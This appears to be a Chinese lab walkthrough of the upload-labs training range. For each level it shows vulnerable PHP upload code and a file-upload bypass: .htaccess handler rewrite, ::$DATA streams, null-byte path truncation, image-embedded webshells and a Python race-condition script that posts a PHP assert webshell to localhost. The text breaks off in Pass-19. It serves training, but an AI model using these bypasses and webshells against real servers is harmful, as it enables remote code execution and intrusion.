3. 文件上傳靶機實戰(附靶機跟writeup)

upload-labs

一個幫你總結全部類型的上傳漏洞的靶場php

文件上傳靶機下載地址:https://github.com/c0ny1/upload-labs
 

運行環境

操做系統:推薦windows(除了Pass-19必須在linux下,其他Pass均可以在windows上運行) php版本:推薦5.2.17(其餘版本可能會致使部分Pass沒法突破) php組件:php_gd2,php_exif(部分Pass須要開啓這兩個組件) apache:以moudel方式鏈接

PS:爲了節省時間,可下載Windows下集成環境,解壓便可運行靶機環境。html

總結

 

-----------------------------------------------------------------------------------------------------------------------

實驗用小馬

 

繞過方法前端

Pass-01

源代碼:python

 1 function checkFile() {
 2     var file = document.getElementsByName('upload_file')[0].value;
 3     if (file == null || file == "") {
 4         alert("請選擇要上傳的文件!");
 5         return false;
 6     }
 7     //定義容許上傳的文件類型
 8     var allow_ext = ".jpg|.png|.gif";
 9     //提取上傳文件的類型
10     var ext_name = file.substring(file.lastIndexOf("."));
11     //判斷上傳文件類型是否容許上傳
12     if (allow_ext.indexOf(ext_name + "|") == -1) {
13         var errMsg = "該文件不容許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name;
14         alert(errMsg);
15         return false;
16     }
17 }

1.前端禁用JS,直接上傳Webshelllinux

2.把以.php結尾的小馬改成以.jpg|.png|.gif結尾,用burpsuite抓包,在把.jpg|.png|.gif改回.php便可上傳成功git

 

 

Pass-02

源代碼:github

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
 6             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
 7                 $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
 8                 $is_upload = true;
 9 
10             }
11         } else {
12             $msg = '文件類型不正確,請從新上傳!';
13         }
14     } else {
15         $msg = $UPLOAD_ADDR.'文件夾不存在,請手工建立!';
16     }
17 }

由代碼可知,對文件MIME類型進行了驗證判斷web

截斷上傳數據包,修改Content-Type爲 image/gif,而後放行數據包

 

 

Pass-03

源代碼:shell

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array('.asp','.aspx','.php','.jsp');
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//刪除文件名末尾的點
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //轉換爲小寫
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if(!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
15                  $img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
16                  $is_upload = true;
17             }
18         } else {
19             $msg = '不容許上傳.asp,.aspx,.php,.jsp後綴文件!';
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
23     }
24 }

1.這裏是黑名單驗證('.asp','.aspx','.php','.jsp'),咱們可上傳php3,php5...等這樣能夠被服務器解析的後綴名apache

2.重寫文件解析規則繞過。上傳先上傳一個名爲.htaccess文件,內容以下:

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

如何建立.htaccess結尾的無文件名的文件

一句話木馬的製做:https://blog.csdn.net/netuser1937/article/details/53738675/

而後再上傳一個1.jpg

執行上傳的1.jpg腳本

經過.htaccess文件調用php解析器去解析一個文件名中只要包含"1.jpg"這個字符串的任意文件,

不管擴展名是什麼(沒有也行),都以php的方式來解析

 

Pass-04

源代碼:

 

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//刪除文件名末尾的點
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //轉換爲小寫
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //收尾去空
12 
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
15                 $img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
16                 $is_upload = true;
17             }
18         } else {
19             $msg = '此文件不容許上傳!';
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
23     }
24 }

 

分析代碼發現,這裏對上傳的後綴名的判斷增長了,php3.php5....已經不容許上傳,可是沒有限制.htaccess文件的上傳,因此咱們依然可使用

重寫文件解析規則繞過,方法同上題同樣,這裏再也不贅述

 

Pass-05

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//刪除文件名末尾的點
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
10         $file_ext = trim($file_ext); //首尾去空
11 
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = '此文件不容許上傳';
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
22     }
23 }

分析代碼,發現以.htaccess爲後綴的文件已經不容許上傳,可是  $file_ext = strtolower($file_ext); //轉換爲小寫  這一句沒有了,咱們就可使用文件名後綴大小寫混合繞過,把1.php改成1.phP...來上傳

 

 

Pass-06

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//刪除文件名末尾的點
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //轉換爲小寫
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = '此文件不容許上傳';
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
22     }
23 }

利用Windows系統的文件名特性。文件名最後增長空格和點,寫成1.php .,這個須要用burpsuite抓包修改,上傳後保存在Windows系統上的文件名最後的一個.會被去掉,實際上保存的文件名就是1.php

果真上傳成功

 

 

Pass-07

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_ext = strrchr($file_name, '.');
 8         $file_ext = strtolower($file_ext); //轉換爲小寫
 9         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
10         $file_ext = trim($file_ext); //首尾去空
11         
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = '此文件不容許上傳';
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
22     }
23 }

原理同Pass-06,文件名後加點和空格,改爲1.php.

 

 

Pass-08

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//刪除文件名末尾的點
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //轉換爲小寫
10         $file_ext = trim($file_ext); //首尾去空
11         
12         if (!in_array($file_ext, $deny_ext)) {
13             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
14                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
15                 $is_upload = true;
16             }
17         } else {
18             $msg = '此文件不容許上傳';
19         }
20     } else {
21         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
22     }
23 }

分析代碼,少了    $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA    這一句,咱們能夠採用Windows文件流特性繞過,文件名改爲

1.php::$DATA , 上傳成功後保存的文件名實際上是1.php

 

 

Pass-09

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
 6         $file_name = trim($_FILES['upload_file']['name']);
 7         $file_name = deldot($file_name);//刪除文件名末尾的點
 8         $file_ext = strrchr($file_name, '.');
 9         $file_ext = strtolower($file_ext); //轉換爲小寫
10         $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11         $file_ext = trim($file_ext); //首尾去空
12         
13         if (!in_array($file_ext, $deny_ext)) {
14             if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
15                 $img_path = $UPLOAD_ADDR . '/' . $file_name;
16                 $is_upload = true;
17             }
18         } else {
19             $msg = '此文件不容許上傳';
20         }
21     } else {
22         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
23     }
24 }

原理同Pass-06,上傳文件名後加上點+空格+點,改成1.php. .

 

 

 

Pass-10

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 6 
 7         $file_name = trim($_FILES['upload_file']['name']);
 8         $file_name = str_ireplace($deny_ext,"", $file_name);
 9         if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $file_name)) {
10             $img_path = $UPLOAD_ADDR . '/' .$file_name;
11             $is_upload = true;
12         }
13     } else {
14         $msg = $UPLOAD_ADDR . '文件夾不存在,請手工建立!';
15     }
16 }

分析代碼,因爲 $file_name = str_ireplace($deny_ext,"", $file_name);   只對文件後綴名進行一次過濾,這樣的話,雙寫文件名繞過,文件名改爲1.pphphp

 

 

Pass-11

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if(isset($_POST['submit'])){
 4     $ext_arr = array('jpg','png','gif');
 5     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
 6     if(in_array($file_ext,$ext_arr)){
 7         $temp_file = $_FILES['upload_file']['tmp_name'];
 8         $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 9 
10         if(move_uploaded_file($temp_file,$img_path)){
11             $is_upload = true;
12         }
13         else{
14             $msg = '上傳失敗!';
15         }
16     }
17     else{
18         $msg = "只容許上傳.jpg|.png|.gif類型文件!";
19     }
20 }

分析代碼,這是以時間戳的方式對上傳文件進行命名,使用上傳路徑名%00截斷繞過,不過這須要對文件有足夠的權限,好比說建立

文件夾,上傳的文件名寫成1.jpg, save_path改爲../upload/1.php%00,最後保存下來的文件就是1.php

 

 

Pass-12

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if(isset($_POST['submit'])){
 4     $ext_arr = array('jpg','png','gif');
 5     $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
 6     if(in_array($file_ext,$ext_arr)){
 7         $temp_file = $_FILES['upload_file']['tmp_name'];
 8         $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
 9 
10         if(move_uploaded_file($temp_file,$img_path)){
11             $is_upload = true;
12         }
13         else{
14             $msg = "上傳失敗";
15         }
16     }
17     else{
18         $msg = "只容許上傳.jpg|.png|.gif類型文件!";
19     }
20 }

原理同Pass-11,上傳路徑0x00繞過。利用Burpsuite的Hex功能將save_path改爲../upload/1.php【二進制00】形式

 

 

Pass-13

源代碼:

 1 function getReailFileType($filename){
 2     $file = fopen($filename, "rb");
 3     $bin = fread($file, 2); //只讀2字節
 4     fclose($file);
 5     $strInfo = @unpack("C2chars", $bin);    
 6     $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
 7     $fileType = '';    
 8     switch($typeCode){      
 9         case 255216:            
10             $fileType = 'jpg';
11             break;
12         case 13780:            
13             $fileType = 'png';
14             break;        
15         case 7173:            
16             $fileType = 'gif';
17             break;
18         default:            
19             $fileType = 'unknown';
20         }    
21         return $fileType;
22 }
23 
24 $is_upload = false;
25 $msg = null;
26 if(isset($_POST['submit'])){
27     $temp_file = $_FILES['upload_file']['tmp_name'];
28     $file_type = getReailFileType($temp_file);
29 
30     if($file_type == 'unknown'){
31         $msg = "文件未知,上傳失敗!";
32     }else{
33         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$file_type;
34         if(move_uploaded_file($temp_file,$img_path)){
35             $is_upload = true;
36         }
37         else{
38             $msg = "上傳失敗";
39         }
40     }
41 }

繞過文件頭檢查,添加GIF圖片的文件頭GIF89a,繞過GIF圖片檢查。

或者咱們使用命令copy 1.jpg /b + shell.php /a webshell.jpg,將php一句話追加到jpg圖片末尾,代碼不全的話,人工補充完整。造成一個包含Webshell代碼的新jpg圖片,而後直接上傳便可。可是咱們沒有辦法拿到shell,應爲咱們上傳的圖片馬沒法被解析成php形式,一般圖片馬配合%00或者0x00截斷上傳,或者配合解析漏洞

 

 

Pass-14

源代碼:

 1 function isImage($filename){
 2     $types = '.jpeg|.png|.gif';
 3     if(file_exists($filename)){
 4         $info = getimagesize($filename);
 5         $ext = image_type_to_extension($info[2]);
 6         if(stripos($types,$ext)){
 7             return $ext;
 8         }else{
 9             return false;
10         }
11     }else{
12         return false;
13     }
14 }
15 
16 $is_upload = false;
17 $msg = null;
18 if(isset($_POST['submit'])){
19     $temp_file = $_FILES['upload_file']['tmp_name'];
20     $res = isImage($temp_file);
21     if(!$res){
22         $msg = "文件未知,上傳失敗!";
23     }else{
24         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").$res;
25         if(move_uploaded_file($temp_file,$img_path)){
26             $is_upload = true;
27         }
28         else{
29             $msg = "上傳失敗";
30         }
31     }
32 }

getimagesize() 函數用於獲取圖像尺寸 索引 2 給出的是圖像的類型,返回的是數字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM

這裏有詳解:https://blog.csdn.net/sanbingyutuoniao123/article/details/52166617

image_type_to_extension() 函數用於獲取圖片後綴

 

 

Pass-15

源代碼:

 1 function isImage($filename){
 2     //須要開啓php_exif模塊
 3     $image_type = exif_imagetype($filename);
 4     switch ($image_type) {
 5         case IMAGETYPE_GIF:
 6             return "gif";
 7             break;
 8         case IMAGETYPE_JPEG:
 9             return "jpg";
10             break;
11         case IMAGETYPE_PNG:
12             return "png";
13             break;    
14         default:
15             return false;
16             break;
17     }
18 }
19 
20 $is_upload = false;
21 $msg = null;
22 if(isset($_POST['submit'])){
23     $temp_file = $_FILES['upload_file']['tmp_name'];
24     $res = isImage($temp_file);
25     if(!$res){
26         $msg = "文件未知,上傳失敗!";
27     }else{
28         $img_path = $UPLOAD_ADDR."/".rand(10, 99).date("YmdHis").".".$res;
29         if(move_uploaded_file($temp_file,$img_path)){
30             $is_upload = true;
31         }
32         else{
33             $msg = "上傳失敗";
34         }
35     }
36 }
exif_imagetype()  此函數是php內置函數,用來獲取圖片類型

 

 

Pass-16

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])){
 4     // 得到上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
 5     $filename = $_FILES['upload_file']['name'];
 6     $filetype = $_FILES['upload_file']['type'];
 7     $tmpname = $_FILES['upload_file']['tmp_name'];
 8 
 9     $target_path=$UPLOAD_ADDR.basename($filename);
10 
11     // 得到上傳文件的擴展名
12     $fileext= substr(strrchr($filename,"."),1);
13 
14     //判斷文件後綴與類型,合法才進行上傳操做
15     if(($fileext == "jpg") && ($filetype=="image/jpeg")){
16         if(move_uploaded_file($tmpname,$target_path))
17         {
18             //使用上傳的圖片生成新的圖片
19             $im = imagecreatefromjpeg($target_path);
20 
21             if($im == false){
22                 $msg = "該文件不是jpg格式的圖片!";
23             }else{
24                 //給新圖片指定文件名
25                 srand(time());
26                 $newfilename = strval(rand()).".jpg";
27                 $newimagepath = $UPLOAD_ADDR.$newfilename;
28                 imagejpeg($im,$newimagepath);
29                 //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
30                 $img_path = $UPLOAD_ADDR.$newfilename;
31                 unlink($target_path);
32                 $is_upload = true;
33             }
34         }
35         else
36         {
37             $msg = "上傳失敗!";
38         }
39 
40     }else if(($fileext == "png") && ($filetype=="image/png")){
41         if(move_uploaded_file($tmpname,$target_path))
42         {
43             //使用上傳的圖片生成新的圖片
44             $im = imagecreatefrompng($target_path);
45 
46             if($im == false){
47                 $msg = "該文件不是png格式的圖片!";
48             }else{
49                  //給新圖片指定文件名
50                 srand(time());
51                 $newfilename = strval(rand()).".png";
52                 $newimagepath = $UPLOAD_ADDR.$newfilename;
53                 imagepng($im,$newimagepath);
54                 //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
55                 $img_path = $UPLOAD_ADDR.$newfilename;
56                 unlink($target_path);
57                 $is_upload = true;               
58             }
59         }
60         else
61         {
62             $msg = "上傳失敗!";
63         }
64 
65     }else if(($fileext == "gif") && ($filetype=="image/gif")){
66         if(move_uploaded_file($tmpname,$target_path))
67         {
68             //使用上傳的圖片生成新的圖片
69             $im = imagecreatefromgif($target_path);
70             if($im == false){
71                 $msg = "該文件不是gif格式的圖片!";
72             }else{
73                 //給新圖片指定文件名
74                 srand(time());
75                 $newfilename = strval(rand()).".gif";
76                 $newimagepath = $UPLOAD_ADDR.$newfilename;
77                 imagegif($im,$newimagepath);
78                 //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片)
79                 $img_path = $UPLOAD_ADDR.$newfilename;
80                 unlink($target_path);
81                 $is_upload = true;
82             }
83         }
84         else
85         {
86             $msg = "上傳失敗!";
87         }
88     }else{
89         $msg = "只容許上傳後綴爲.jpg|.png|.gif的圖片文件!";
90     }
91 }

原理:將一個正常顯示的圖片,上傳到服務器。尋找圖片被渲染後與原始圖片部分對比仍然相同的數據塊部分,將Webshell代碼插在該部分,而後上傳。具體實現須要本身編寫Python程序,人工嘗試基本是不可能構造出能繞過渲染函數的圖片webshell的。

這裏提供一個包含一句話webshell代碼並能夠繞過PHP的imagecreatefromgif函數的GIF圖片示例

php圖像二次渲染:

https://blog.csdn.net/hitwangpeng/article/details/48661433

https://blog.csdn.net/hitwangpeng/article/details/46548849    

這兩個講的還能夠

打開被渲染後的圖片,Webshell代碼仍然存在

提供一個jpg格式圖片繞過imagecreatefromjpeg函數渲染的一個示例文件。 直接上傳示例文件會觸發Warning警告,並提示文件不是jpg格式的圖片。可是實際上已經上傳成功,並且示例文件名沒有改變。

從上面上傳jpg圖片能夠看到咱們想複雜了,程序沒有對渲染異常進行處理,直接在正常png圖片內插入webshell代碼,而後上傳示例文件便可,並不須要圖片是正常的圖片。

程序依然沒有對文件重命名,攜帶webshell的無效損壞png圖片直接被上傳成功。

 

 

Pass-17

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 
 4 if(isset($_POST['submit'])){
 5     $ext_arr = array('jpg','png','gif');
 6     $file_name = $_FILES['upload_file']['name'];
 7     $temp_file = $_FILES['upload_file']['tmp_name'];
 8     $file_ext = substr($file_name,strrpos($file_name,".")+1);
 9     $upload_file = $UPLOAD_ADDR . '/' . $file_name;
10 
11     if(move_uploaded_file($temp_file, $upload_file)){
12         if(in_array($file_ext,$ext_arr)){
13              $img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
14              rename($upload_file, $img_path);
15              unlink($upload_file);
16              $is_upload = true;
17         }else{
18             $msg = "只容許上傳.jpg|.png|.gif類型文件!";
19             unlink($upload_file);
20         }
21     }else{
22         $msg = '上傳失敗!';
23     }
24 }

利用條件競爭刪除文件時間差繞過。使用命令pip install hackhttp安裝hackhttp模塊,運行下面的Python代碼便可。若是仍是刪除太快,能夠適當調整線程併發數。

 1 #!/usr/bin/env python
 2 # coding:utf-8
3 4 5 import hackhttp 6 from multiprocessing.dummy import Pool as ThreadPool 7 8 9 def upload(lists): 10 hh = hackhttp.hackhttp() 11 raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1 12 Host: 127.0.0.1 13 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0 14 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 15 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 16 Accept-Encoding: gzip, deflate 17 Referer: http://127.0.0.1/upload-labs/Pass-17/index.php 18 Cookie: pass=17 19 Connection: close 20 Upgrade-Insecure-Requests: 1 21 Content-Type: multipart/form-data; boundary=---------------------------6696274297634 22 Content-Length: 341 23 24 -----------------------------6696274297634 25 Content-Disposition: form-data; name="upload_file"; filename="17.php" 26 Content-Type: application/octet-stream 27 28 <?php assert($_POST["LandGrey"])?> 29 -----------------------------6696274297634 30 Content-Disposition: form-data; name="submit" 31 32 上傳 33 -----------------------------6696274297634-- 34 """ 35 code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw) 36 print(str(code) + "\r") 37 38 39 pool = ThreadPool(10) 40 pool.map(upload, range(10000)) 41 pool.close() 42 pool.join()

在腳本運行的時候,訪問Webshell

 

 

 

Pass-18

源代碼:

  1 //index.php
  2 $is_upload = false;
  3 $msg = null;
  4 if (isset($_POST['submit']))
  5 {
  6     require_once("./myupload.php");
  7     $imgFileName =time();
  8     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  9     $status_code = $u->upload($UPLOAD_ADDR);
 10     switch ($status_code) {
 11         case 1:
 12             $is_upload = true;
 13             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
 14             break;
 15         case 2:
 16             $msg = '文件已經被上傳,但沒有重命名。';
 17             break; 
 18         case -1:
 19             $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。';
 20             break; 
 21         case -2:
 22             $msg = '上傳失敗,上傳目錄不可寫。';
 23             break; 
 24         case -3:
 25             $msg = '上傳失敗,沒法上傳該類型文件。';
 26             break; 
 27         case -4:
 28             $msg = '上傳失敗,上傳的文件過大。';
 29             break; 
 30         case -5:
 31             $msg = '上傳失敗,服務器已經存在相同名稱文件。';
 32             break; 
 33         case -6:
 34             $msg = '文件沒法上傳,文件不能複製到目標目錄。';
 35             break;      
 36         default:
 37             $msg = '未知錯誤!';
 38             break;
 39     }
 40 }
 41 
 42 //myupload.php
 43 class MyUpload{
 44 ......
 45 ......
 46 ...... 
 47   var $cls_arr_ext_accepted = array(
 48       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
 49       ".html", ".xml", ".tiff", ".jpeg", ".png" );
 50 
 51 ......
 52 ......
 53 ......  
 54   /** upload()
 55    **
 56    ** Method to upload the file.
 57    ** This is the only method to call outside the class.
 58    ** @para String name of directory we upload to
 59    ** @returns void
 60   **/
 61   function upload( $dir ){
 62     
 63     $ret = $this->isUploadedFile();
 64     
 65     if( $ret != 1 ){
 66       return $this->resultUpload( $ret );
 67     }
 68 
 69     $ret = $this->setDir( $dir );
 70     if( $ret != 1 ){
 71       return $this->resultUpload( $ret );
 72     }
 73 
 74     $ret = $this->checkExtension();
 75     if( $ret != 1 ){
 76       return $this->resultUpload( $ret );
 77     }
 78 
 79     $ret = $this->checkSize();
 80     if( $ret != 1 ){
 81       return $this->resultUpload( $ret );    
 82     }
 83     
 84     // if flag to check if the file exists is set to 1
 85     
 86     if( $this->cls_file_exists == 1 ){
 87       
 88       $ret = $this->checkFileExists();
 89       if( $ret != 1 ){
 90         return $this->resultUpload( $ret );    
 91       }
 92     }
 93 
 94     // if we are here, we are ready to move the file to destination
 95 
 96     $ret = $this->move();
 97     if( $ret != 1 ){
 98       return $this->resultUpload( $ret );    
 99     }
100 
101     // check if we need to rename the file
102 
103     if( $this->cls_rename_file == 1 ){
104       $ret = $this->renameFile();
105       if( $ret != 1 ){
106         return $this->resultUpload( $ret );    
107       }
108     }
109     
110     // if we are here, everything worked as planned :)
111 
112     return $this->resultUpload( "SUCCESS" );
113   
114   }
115 ......
116 ......
117 ...... 
118 };

剛開始沒有找到繞過方法,最後下載做者Github提供的打包環境,利用上傳重命名競爭+Apache解析漏洞,成功繞過。

上傳名字爲18.php.7Z的文件,快速重複提交該數據包,會提示文件已經被上傳,但沒有被重命名。

快速提交上面的數據包,可讓文件名字不被重命名上傳成功。

而後利用Apache的解析漏洞,便可得到shell

 

 

 

Pass-19

源代碼:

 1 $is_upload = false;
 2 $msg = null;
 3 if (isset($_POST['submit'])) {
 4     if (file_exists($UPLOAD_ADDR)) {
 5         $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 6 
 7         $file_name = $_POST['save_name'];
 8         $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
 9 
10         if(!in_array($file_ext,$deny_ext)) {
11             $img_path = $UPLOAD_ADDR . '/' .$file_name;
